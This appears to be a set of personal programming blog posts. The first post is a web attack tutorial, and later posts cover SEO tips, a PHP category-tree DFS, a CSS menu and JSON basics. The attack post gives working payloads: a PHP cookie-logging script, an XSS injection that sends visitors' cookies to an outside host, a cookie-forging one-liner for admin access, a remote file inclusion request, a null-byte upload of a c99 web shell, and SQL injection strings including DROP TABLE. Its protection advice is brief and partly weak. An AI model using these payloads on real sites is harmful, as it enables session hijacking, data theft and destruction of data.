Thursday, May 8, 2008

Easy attacks on your website:

Web site security is possibly today's most overlooked aspect of securing data. I tried to describe most popular web attacks here.And some simple tips to protect from attacks.

Cross side scripting (XSS):

Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. Cross site scripting occurs when a web application gathers malicious data from a user. Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible.
Attacks:
XSS Cookie Stealer:
Here I am showing a simple technique to steal the secured cookies from a site. This is injecting some code in insecure site so that user cookies will be logged. Cookies are used on allot of websites to verify authentication. The cookies are unique for each user. So, if we take the cookies we are technically able to become that user.

Now, let’s get down to it with some cookie stealer code. First of all I need a third party host site to put some php code.
<?php
/*Ethernets Cookie Stealer */
/*Put this up on your free site */

$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
fwrite($log, $cookie ."\n");
fclose($log);

?>
This is nothing just writing a file from GET content. We will test XSS vulnerability. To test whether we are able to inject xss into the forum insert the following test script:
<script>alert(’Testing For XSS Hole’)</script>
If there is a hole the text “Testing For XSS Hole” will show up in an alert box. Now, then, if all is well and we have a permanent xss hole we can enter the following redirect code:
<script>
window.location = 'htt
p://yoursite.com/stealer.php?cookie=' + document.cookie;
</script>>
This code redirects the user to http://yoursite.com/stealer.php and then adds the users
cookie to the end. If we now check our file there should be a user cookie inside
‘cookies11.txt’.

Cookie Manipulation:
Here this s very simple example. Sometimes you will see cookies that look like:
Admin=false;
Or
Logged_in=true;
Especially if the cookie is something like “admin=false;”, you main be wondering “How can we use this to gain administrative access?”. Easy - JavaScript injections.To view what our cookies look like on a given website we can enter some simpleJavaScript into the url bar:
Javascript:alert(document.cookie);
This will create an alert box that contains that the user has. For the sake of this demonstration, let’s say the cookies look something like this:
Logged_in=true, admin=false, fusionid=12312313
So, the only part that really matters to us is “admin=false”, the rest is just non-sense that we needn’t worry about. Obviously, you probably wont find too many websites with such a blatant vulnerability, but this is only meant to outline the basics of how to do this.Obviously, we can see that if we edit this cookie to “admin=true” we will have administrative privileges. With this next simple JavaScript injection we are able to change the cookie.
Javascript:void(document.cookie=“admin=true”);
Yes, that one line of JavaScript can give you administrative rights under the right circumstances

Protection:
The simple procedure is “Never trust user input and always filter metacharacters”. You can filter them or HTML encode them. As user experiences always try to avoid go to external links that means any link to others host. This can solve 90% of your problems.

Remote file inclusion (RFI):
Remote file inclusion is major attacks on php programs. Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own malicious code in the space provided for PHP programs on a web page. Once they can do that, they can access anything that the PHP program could: databases, password files, etc. They can install their own shell running with the privileges of the web server user (such as 'apache' or 'httpd') and if the server has not been patched for some local user privilege escalation vulnerability, the shell could be used to become the root user.

Attacks:
In default configuration of php installation allow_url_fopen = On is set. This capability even works for what, seemingly, should be restricted to the local filesystem such as the 'include' and 'require' directives.Consider the following:
include($base_path . "/foo.php");
If an attacker can control the value of the base_path variable, they can replace it with something like "http://example.com/badcode?foo=" and, instead of picking up foo.php from the local filesystem, PHP will happily reach out across the net to pick up the attacker's code. One of the ways that an attacker can control the value of a variable in a PHP program is through the use of the register_globals PHP mis-feature.Another consideration:
include($_REQUEST['own_me'] . '/foo.php');
The _REQUEST 'superglobal' array in PHP stores all of the variables that come in from the HTTP request, regardless of whether they come as a GET or a POST variable. This one is easy to exploit by making a request like:
http://vulnerable.com/RFI2.php?own_me=http://example.com/badcode
Here no need of register_globals to be on.

Protection:
Be Careful about of include() or require().
Instead using of include($page.’otherpage.php’) use include($’otherpage.php’).
And be attentive about register_globals configuration.

Null Byte – picture upload:
A null character/null byte/null terminator is a character with a value of zero that is shown in the ASCII Charest. And, in programming languages (php included) the null byte is used as, what’s know as, a ’string terminator’.








Attacks:
Now that we have a target we are able to start exploiting.go to your targets upload page and click the ‘Browse’ button and navigate to a php shell.just for the sake of Proof of Concept, try to upload this file normally. You will get an error such as:
“We’re sorry, but the file you entered is using an extension that is not alloud. Images only please!”
We see from this that only images are supported - and a regular php shell will not wok. let’s browse to our shell again, but this time we will change the upload bar to look like this, adding in the nullbyte character:
C:\c99.php.jpg
When the script checks if our file it will see the .jpg and ’say’ “Yep, looks like an image to me” and upload it. Fortunately for us, when the file is actually uploaded it is uploaded with the .php extension because the null byte terminates anything after that. If it worked we will see:
“Thank you for uploading your pictures - view your file at /c99.php”
and you’re done, Now you brows the file get your code run.

Protection:
Check the file type instead of file extension.

SQL Injection:
SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.
Attacks:


The Target Intranet
This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. These results in the potential manipulation of the statements performed on the database by the end user of the application.
SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
If $EMAIL is anything' OR 'x'='x
Then query will be,
SELECT fieldlist
FROM table
WHERE field = '
anything' OR 'x'='x';
This type of query may be used for the forgot password application. When second query executed a rowset will returned and a randomly row will selected or 1st row will be selected. And user will get email containing new password that he may not expect.

Schema field mapping:
Now we are trying to retrieve the schema (field name of a tale),Well This process will involve quite a lot of guessing.Let’s consider the following case.
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';
Here –- is used to truncate last quote. we will guess here field ‘email’. If we get server error it means syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly.

Finding the table name:
Let’s consider the following case,
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = '
x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We can guess tablename here.Another case,
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = '
x' AND members.email IS NULL; --';

Finding some users:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = '
x' OR full_name LIKE '%Bob%';

Brute-force password guessing:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = '
bob@example.com' AND passwd = 'hello123';
The database isn't readonly:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = '
x'; DROP TABLE members; --'; -- Boom!

Protection:
When user gives any data as input filter single quote or double quote. Or you can add additional black slash before each single quote or double quote. Different database can return the sever error message and error number. Avoid showing the errors to the user rather show users readable message.

Thursday, November 8, 2007

5 Things: Make your site popular

Keyword research:
Keyword research is one of the most fundamental SEO activities. The process of finding the appropriate keywords for you site is called key word research. Investigation to discover what terms people search for, how often, and how many. To determine which queries your site is most relevant.

Example:
A financial institution might call its product an "auto loan," but you or I would probably use the term "car loan" when searching online. Maybe we'd search for "car loans" (plural) instead of "car loan" (singular).

The best keywords have the following qualities:

  • Strong relevance to your site: terms for which you have content to support.
  • Relatively high search volume: terms people are actually look for.
  • Relatively low competition: terms with a small number of search results.

Helpful Tools:

https://adwords.google.com/select/KeywordToolExternal

http://inventory.overture.com/d/searchinventory/suggestion/

HTML content:

  • Optimize your <title> tags on each page to contain 1 - 3 keywords.
  • Create unique Meta Tags for each page.
  • Use header tags appropriately (H1 > H2 > H3).
  • Use keywords liberally yet appropriately throughout each page.
  • Have unique content.
  • Have quality content.
  • Create a human sitemap.
  • Do not use inaccessible site navigation (JavaScript menus).
  • Minimized outbound links.
  • Kept your pages under 100K in siz.
  • Design the navigational structure of the site to channel PR to main pages (especially the homepage).

URLs:

    • Use Search Engine Friendly URLs (for dynamic sites)
    • Use keywords in your domain (http://www.keyword1.com/)
    • Use keywords in your URL (http://www.example.com/keyword2/keyword3.html)
    • Use dashes instead of underscores to separate words in your URLs (keyword2-keyword3.html)

Promotions:

  • Create a page that encourages webmasters to link to your site
    • Provide them the relevant HTML to create their link to you
    • Provide them with any images you may want them to use (although text links are better)

  • Submit your site to all major search engines
    • http://www.google.com/addurl.html (Use a https://www.google.com/webmasters/sitemaps/siteoverview?hl=en)
    • http://submit.search.yahoo.com/free/request (Use the page list option)
    • MSN (Finds your site via incoming links)
    • Ask (Finds your site via incoming links)

  • Continually update your website will quality, unique content
  • Continually seek free links preferably from sites in your genre

Avoid:

  • Make an all Flash website (without an HTML alternative)
  • Use JavaScript for navigation
  • Spam other websites for incoming links
  • Launch your site before it is done
  • Use duplicate content

Usable and accessible sites tend to be search engine friendly by their very nature. Be patient! High rankings don't happen overnight. In other words you have SEO in mind before you start your website. And only submit once you have a complete website.

Sunday, September 9, 2007

Single Table Multiple Category - Subcategory:

Some time it is needed to develop unlimited categories – subcategories. Usually we solve this problem by using TREE data structure. TREE is mainly used to represent data containing a hierarchical relationship between elements, records, family tree and table of contents. So TREE is the best structure to represent category-subcategory hierarchy.

TREE Structure:
A tree is a recursive structure that usually maps an ordered set of data from an internal definition to some data space. Tree parts are often named after their contemporaries in family trees; trees contain nodes known as parent, child, and sibling. Trees are made of nodes, which can contain both data to be stored and always link to further levels in the tree. Trees are often formed from a single node known as root; alternatively, trees may be built from a set of original nodes--this is known as a forest of trees


Representing TREE in a table:



Amazing DFS:
The general idea behind a depth first search beginning at a starting node A is follows. First we examine the starting node A. Then we examine each node N along a path P which begins at A. That is we process a neighbor of A, then neighbor of (neighbor of A) and so on. After coming to the “dead end” that is, to the end of path P, we backtrack on P until we continue along another path P. And so on.

Pre order Traversal:
The first depth-first traversal method we consider is called preorder traversal. Preorder traversal is defined recursively as follows. To do a preorder traversal of a general tree:

1. Visit the root first; and then

2. Do a preorder traversal each of the sub trees of the root one-by-one in the order given.



Algorithm (DFS):


dfs(graph G)
{
list L = empty
tree T = empty
choose a starting vertex x
search(x)
while(L is not empty)
{
remove edge (v, w) from beginning of L
if w not yet visited
{

add (v, w) to T
search(w)
}
}
}

search(vertex v)
{
visit v
for each edge (v, w)
add edge (v, w) to the beginning of L
}

Example Code (PHP - mysql):

<?php

function cats_tree($id = 0,$table)

{

static $categs = array ();

static $level = 0;

$level ++;

$sql = "SELECT category_id, category_name FROM ".$table." WHERE parent = ". $id ." ORDER BY sibling_order";

$result = mysql_query($sql);

while ($row_category = mysql_fetch_assoc($result))

{

$rs[] = $row_category;

}


if (isset($rs)) {

foreach ($rs as $row) {

$categs[$row['category_id']] = str_repeat('| ', $level -1) .'|__'. $row['category_name'];

cats_tree($row['category_id'],$table);

}

}

$level --;

return $categs;

}




$conn = mysql_connect("localhost", "USER", "PASS");
mysql_select_db("DB_NAME");


echo "<pre>";
print_r(cats_tree(0,"category"));
echo "</pre>";


?>

Output:

Tuesday, September 4, 2007

Sucker Tree Menu Generation

Web Programmer needed to generate menus as their template style. It is very interesting to generate customize menu. Now I am writing about a menu that CSS and DOM hybrid and based on UL and LI and Supports multiple levels of sub menu. The main theme is, it crawls inner levels of Menu and fixed it position. The menu is successfully tested in IE6, Firefox 1.5, Opera 9, and IE7.



Some Advanced CSS used here:

Nested span: These are used to generate round shape menu and colored hover.

Inherited Class: Some inherited classes for UL and LI to generate sucker tree menu.

Here you can download the sample and try yourself.



Saturday, May 26, 2007

JSON – PHP

JSON (JavaScript Object Notation) is universal data exchange format. JSON is part of ECMA Script Standards. eval() function that can parse this format .This is being popular with the success of AJAX. Another language XML is used for sharing (exchange) data in different platform. But JSON is easier to read than XML for programmer. JSON contain easier structure. JSON can easily map to object-oriented system.

What problem JSON can solve:

“I have a data-structure in one platform, I want to use it to another platform. “—We can use JSON to solve this problem. No need for parsing an XML document to extract the data-structure.

Understanding Literal Notation in JavaScript:

Array literals in JavaScript are composed of zero or more expressions with each expression representing an element of the array. The array elements are enclosed in square brackets ([]) and delimited by commas. Example:

var continents = ["Europe", "Asia", "Australia", "Antarctica", "North
America", "South America", "Africa"];
Compare this now to how you would create and initialize an array in JavaScript without
the literal notation:
var continents = new Array();
continents[0] = "Europe";
continents[1] = "Asia";

continents[2] = "Australia";
continents[3] = "Antarctica";
continents[4] = "North America";
continents[5] = "South America";
continents[6] = "Africa";
An object literal defines the members of an object and their values. The list of object members and values is
enclosed in curly braces ({}) and each member is delimited by a comma. Within each member, the name and value
are delimited by a colon (:).
Example:
var contact = {
"Name": "John Doe",

"PermissionToCall": true,

"PhoneNumbers": [

{

"Location": "Home",

"Number": "555-555-1234"

},

{

"Location": "Work",

"Number": "555-555-9999 Ext. 123"

}

]

};

Example JSON and PHP:

For your assistance,I attached here some sample code.
Those are free. After download you have to extract
download files and
after that run index.html………….